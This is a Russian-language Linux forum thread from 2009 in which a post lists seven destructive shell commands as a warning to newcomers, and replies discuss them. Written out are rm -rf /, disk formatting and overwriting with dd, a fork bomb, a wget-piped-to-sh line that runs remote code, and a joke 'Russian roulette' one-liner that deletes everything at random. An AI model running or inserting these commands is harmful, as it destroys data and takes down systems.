Автор Тема: 7 смертоубийственных Linux-команд  (Прочитано 14911 раз)

melcomtec

  • Гость
Филиппинский студент Джан Ауза собрал список из 7 самых опасных команд в Linux. Внимание! Не надо испытывать эти команды на вашей рабочей системе — она будет полностью уничтожена. Пожалуйста, тренируйтесь в изолированных виртуальных средах.
Первая и самая известная команда: rm -rf /. Введенная от имени суперпользователя, рекурсивно удалит все файлы.

Намного быстрее форматирование: mkfs.ext3 /dev/sda. Эта команда уничтожит все файлы на диске /dev/sda.

Прием, известный как forkbomb (от системного вызова fork(), который ветвит текущий процесс). Достаточно набрать в консоли :(){:|:&};: и вся память заполнится копиями процессов, результатом чего будет зависание. Особо интересный эффект можно получить, поместив данную команду в сценарии загрузки.

Следующая команда портит жесткий диск /dev/sda: любая_команда > /dev/sda. Если вызванная команда выводит какие-либо данные, то они будут перенаправлены прямиком в начало диска, что приведет к потере данных.

Вредоносный код можно разместить в интернете и вызвать его удалённо командой, которая, на первый взгляд, не вызывает никаких подозрений: wget http://некоторый_вредоносный_код -O- | sh

Шестой способ вредительства заключается в том, чтобы отправить все файлы в "черную дыру" /dev/null. Сделать это можно следующим образом: mv /home/my_home_directory/* /dev/null

И последний способ, который делает невозможным восстановление утерянных данных:
dd if=/dev/urandom of=/dev/sda. В этом случае диск заполняется случайными данными.

Разумеется, опытный пользователь легко распознает любую вредоносную команду, а вот новичкам следует внимательно изучить примеры, чтобы не стать жертвой "дружеского" розыгрыша.

Оффлайн lodin

  • alt linux team
  • ***
  • Сообщений: 28
Re: 7 смертоубийственных Linux-команд
« Ответ #1 : 20.04.2009 16:35:53 »
Шестой способ вредительства заключается в том, чтобы отправить все файлы в "черную дыру" /dev/null. Сделать это можно следующим образом: mv /home/my_home_directory/* /dev/null

Неа, скажет not a directory и всё. Ничего с хомяком (таким способом) не будет.
"Пароходом выехать не могу, думаю баржей"
"Думайте головой, выезжайте чем хотите"

Оффлайн lodin

  • alt linux team
  • ***
  • Сообщений: 28
Re: 7 смертоубийственных Linux-команд
« Ответ #2 : 20.04.2009 16:42:41 »
Да и форкбомб в Альте не работает. Что за дистр...
"Пароходом выехать не могу, думаю баржей"
"Думайте головой, выезжайте чем хотите"

Оффлайн xapienz

  • Завсегдатай
  • *
  • Сообщений: 207
    • Email
Re: 7 смертоубийственных Linux-команд
« Ответ #3 : 21.04.2009 00:32:43 »
Да и форкбомб в Альте не работает. Что за дистр...
:(){ :|:&};:
после открывающей фигурной поставь пробел)
мне пришлось сносить через alt-sysrq-b
« Последнее редактирование: 21.04.2009 21:44:14 от xapienz »
ALTLinux Sisyphus

Оффлайн lodin

  • alt linux team
  • ***
  • Сообщений: 28
Re: 7 смертоубийственных Linux-команд
« Ответ #4 : 21.04.2009 01:03:02 »
Ну, я ж добавлял пробел. Десктоп 4.1:

bash$ :(){ :|:&};:
bash: fork: Resource temporarily unavailable
bash: fork: Resource temporarily unavailable
bash: fork: Resource temporarily unavailable
bash: fork: Resource temporarily unavailable
[1] 1866
bash$ [1]+  Terminated 
bash$ uname -a
Linux khedin.starlink.ru 2.6.25-std-def-alt8.M41.4 #1 SMP
Sat Dec 6 14:42:12 MSK 2008 i686 GNU/Linux

И всё, кончилась пирушка. Насколько помню, в 4.0 так же было.
« Последнее редактирование: 21.04.2009 01:20:42 от lodin »
"Пароходом выехать не могу, думаю баржей"
"Думайте головой, выезжайте чем хотите"

Оффлайн VoroN-r35

  • Начинающий
  • *
  • Сообщений: 2
Re: 7 смертоубийственных Linux-команд
« Ответ #5 : 21.04.2009 10:20:22 »
dd if = /dev/zero of = /dev/sdaА всего то хотел старый хард почистить. ;)

Оффлайн xapienz

  • Завсегдатай
  • *
  • Сообщений: 207
    • Email
Re: 7 смертоубийственных Linux-команд
« Ответ #6 : 21.04.2009 21:44:57 »
Ну, я ж добавлял пробел. Десктоп 4.1:

bash$ :(){ :|:&};:
bash: fork: Resource temporarily unavailable
bash: fork: Resource temporarily unavailable
bash: fork: Resource temporarily unavailable
bash: fork: Resource temporarily unavailable
[1] 1866
bash$ [1]+  Terminated 
bash$ uname -a
Linux khedin.starlink.ru 2.6.25-std-def-alt8.M41.4 #1 SMP
Sat Dec 6 14:42:12 MSK 2008 i686 GNU/Linux

И всё, кончилась пирушка. Насколько помню, в 4.0 так же было.
а из root?
ALTLinux Sisyphus

Alexei_VM

  • Гость
Re: 7 смертоубийственных Linux-команд
« Ответ #7 : 21.04.2009 22:15:22 »
а из root?

Сработает. Но у рута столько возможностей и без этой команды...

Оффлайн lodin

  • alt linux team
  • ***
  • Сообщений: 28
Re: 7 смертоубийственных Linux-команд
« Ответ #8 : 22.04.2009 00:02:26 »
а из root?
Это что, и пистолет настоящий надо взять и целиться прямо себе в ногу?
"Пароходом выехать не могу, думаю баржей"
"Думайте головой, выезжайте чем хотите"

Оффлайн zhe

  • Завсегдатай
  • *
  • Сообщений: 88
Re: 7 смертоубийственных Linux-команд
« Ответ #9 : 22.04.2009 15:05:31 »
 :D на счет смертоубийственных команд линукс - один раз я по-ошибке, думая, что нахожусь в домашнем каталоге, причем в папке с ключами, сидя под рутом запустил команду rm -f * , находясь в /etc/ ...  :D вот смеху то было .. с тех пор всегда перед стиранием чего-либо под рутом ввожу команду pwd ..
А еще был интересный случай, правда на МСВС-е и не со мной, когда один студент, имея на сервер доступ root
запустил следующую смертоносную команду (орфография приведена до всех мелочей как в оригинале):
# rpm -e --force --nodeps --noscripts glibc
это он хотел удалить старую версию и поставить новую  :D , сразу же пошли вылезать ошибки: нет библиотек и пр ..
« Последнее редактирование: 22.04.2009 15:29:22 от zhecka83 »
man google.com

Оффлайн lodin

  • alt linux team
  • ***
  • Сообщений: 28
Re: 7 смертоубийственных Linux-команд
« Ответ #10 : 22.04.2009 15:23:56 »
Давно пора научить команду rm "полуинтерактивному" режиму (скажем, rm -I): чтобы она сначала говорила "собираюсь удалить файлы: ... и директории:... (можно через more), если согласны -- напишите yes" -- а потом уже удаляла всё скопом. А то на y давить замучаешься...
"Пароходом выехать не могу, думаю баржей"
"Думайте головой, выезжайте чем хотите"

Оффлайн Skull

  • Глобальный модератор
  • *****
  • Сообщений: 19 926
    • Домашняя страница
    • Email
Re: 7 смертоубийственных Linux-команд
« Ответ #11 : 22.04.2009 15:30:20 »
Давно пора научить команду rm "полуинтерактивному" режиму (скажем, rm -I): чтобы она сначала говорила "собираюсь удалить файлы: ... и директории:... (можно через more), если согласны -- напишите yes" -- а потом уже удаляла всё скопом. А то на y давить замучаешься...
yes | rm -f files...
;)
Андрей Черепанов (cas@)

Оффлайн Den_Zurin

  • Начинающий
  • *
  • Сообщений: 11
Re: 7 смертоубийственных Linux-команд
« Ответ #12 : 08.05.2009 02:52:24 »
Игра "Русская рулетка" для Linux:
[ $[ $RANDOM % 6 ] == 0 ] && rm -rf / || echo "Жив"
Играть в "Русскую рулетку" надо имея права администратора (root), желательно на сервере, имеющем свыше 3000 посещений в день.

Оффлайн Janik

  • Начинающий
  • *
  • Сообщений: 3
    • Email
Re: 7 смертоубийственных Linux-команд
« Ответ #13 : 02.06.2009 14:01:18 »
А кто нибудь уже играл? :)

Drool

  • Гость